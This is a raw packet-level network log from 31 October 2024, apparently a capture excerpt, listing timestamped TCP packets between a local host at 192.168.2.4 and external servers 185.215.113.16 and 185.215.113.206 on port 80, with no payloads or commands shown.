Oct 31, 2024 20:52:34.287786007 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:34.288033962 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.288045883 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.288057089 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.288094997 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.288105965 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.288117886 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.288129091 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.288202047 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.288214922 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.288225889 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.288233042 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:34.288238049 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.288252115 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.288275003 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:34.288302898 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:34.288332939 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.288343906 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.288355112 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.288366079 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.288377047 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.288388968 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.288402081 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.288414955 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.288424969 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.288465023 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.288476944 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.288489103 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.288990021 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.289002895 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.289014101 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.289072037 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.289082050 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.289093971 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.289105892 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.289108038 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:34.289175987 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.289189100 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.289200068 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.289211988 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.289226055 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.289335012 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.289345980 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.289356947 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.289367914 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.289380074 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.289392948 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.289403915 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.289408922 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:34.289422989 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.289434910 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.289446115 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.289458990 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.289472103 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.289747000 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:34.289788961 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:34.289813042 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:34.289949894 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.290002108 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.290014029 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.290049076 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:34.290066004 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.290083885 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.290095091 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.290106058 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.290107012 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:34.290119886 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.290134907 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:34.290167093 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:34.290194035 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.290205956 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.290218115 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.290229082 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.290241957 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.290241957 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:34.290254116 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.290267944 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:34.290267944 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.290282011 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:34.290340900 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.290353060 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.290363073 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.290374041 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.290385962 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.290397882 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.290410042 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.290411949 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:34.290441990 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:34.290456057 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.290467978 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.290522099 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:34.290945053 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.290956020 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.290966988 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.290990114 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:34.291006088 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.291018963 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.291029930 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.291042089 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.291044950 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:34.291054010 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.291065931 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:34.291094065 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:34.313186884 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.313211918 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.313222885 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.313261986 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.313275099 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.313291073 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.313302994 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.313384056 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.313395977 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.313406944 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.313473940 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.313486099 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.313497066 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.313546896 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.313559055 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.313676119 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.313687086 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.313698053 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.313754082 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.313766003 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.313776970 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.313877106 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.313889027 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.313908100 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.313925028 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.314035892 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.314048052 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.314059019 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.314104080 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.314116001 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.314126968 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.314136982 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.314311028 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.314389944 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.314402103 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.314455032 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.314466000 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.314476967 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.314487934 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.314574957 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.314587116 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.314598083 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.314641953 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.314656019 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.314666033 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.314769030 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.314811945 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.314824104 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.314909935 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.314922094 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.314933062 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.314944029 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.315049887 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.315062046 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.315072060 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.315083981 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.315097094 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.315109015 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.315119982 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.315151930 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.315164089 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.315437078 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.315448046 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.315459967 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.315514088 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.315525055 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.315536022 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.315547943 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.315619946 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.315632105 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.315643072 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.315751076 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.315762997 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.315773964 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.315783978 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.315795898 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.315808058 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.315819025 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.316088915 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.316133022 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.316143990 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.316225052 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.316236019 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.316246033 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.316257000 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.316270113 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.316279888 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.316412926 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.316452026 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.316463947 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.316517115 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.316529036 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.316540003 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.316550970 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.316663980 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.316679001 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.316690922 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.316701889 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.316715002 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.316725969 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.316737890 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.316750050 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.316823006 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.316834927 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.316931009 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.316942930 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.316952944 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.316965103 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.316976070 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.316992998 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.317004919 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.317389011 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.326803923 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:34.326848030 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:34.326950073 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:34.326977015 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:34.326999903 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:34.327023029 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:34.327050924 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:34.327079058 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:34.327109098 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:34.327269077 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:34.327289104 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:34.327331066 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:34.343651056 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:34.343709946 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:34.346312046 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.346333027 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.346344948 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.346411943 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.346424103 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.346435070 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.346446037 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.346457005 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.346503019 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.346513987 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.346524954 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.348644018 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:34.349358082 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:34.354022980 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:34.354265928 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:34.380445004 CET	49770	80	192.168.2.4	185.215.113.206
Oct 31, 2024 20:52:34.385292053 CET	80	49770	185.215.113.206	192.168.2.4
Oct 31, 2024 20:52:34.388665915 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.388675928 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.388686895 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.388746977 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.388757944 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.388768911 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.388780117 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.389028072 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.389039993 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.389049053 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.389060974 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.389079094 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.389091015 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.389103889 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.389115095 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.389132023 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.389142036 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.389153957 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.389172077 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.389184952 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.389194965 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.397895098 CET	49770	80	192.168.2.4	185.215.113.206
Oct 31, 2024 20:52:34.398200989 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:34.404053926 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.404071093 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.404088020 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.404098988 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.404110909 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.404153109 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.404162884 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.404181004 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.404192924 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.404211044 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.404257059 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.404333115 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.404376984 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.404387951 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.404411077 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.413490057 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:34.429128885 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:34.430859089 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.430879116 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.430888891 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.430924892 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.430936098 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.430947065 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.430958033 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.431000948 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.431013107 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.431024075 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.431117058 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.431133986 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.431144953 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.431194067 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.431253910 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.431272030 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.431282997 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.431340933 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.431353092 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.431464911 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.431509972 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.431521893 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.431596041 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.431607008 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.431617022 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.431628942 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.431698084 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.431709051 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.431720018 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.431730032 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.431829929 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.431839943 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.431849957 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.431860924 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.431873083 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.431879044 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.432053089 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.432068110 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.432077885 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.432167053 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.432178974 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.432189941 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.432275057 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.432286024 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.432296991 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.432307959 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.432318926 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.432329893 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.432526112 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.432562113 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.432574034 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.432662964 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.432673931 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.432684898 CET	80	49766	185.215.113.16	192.168.2.4
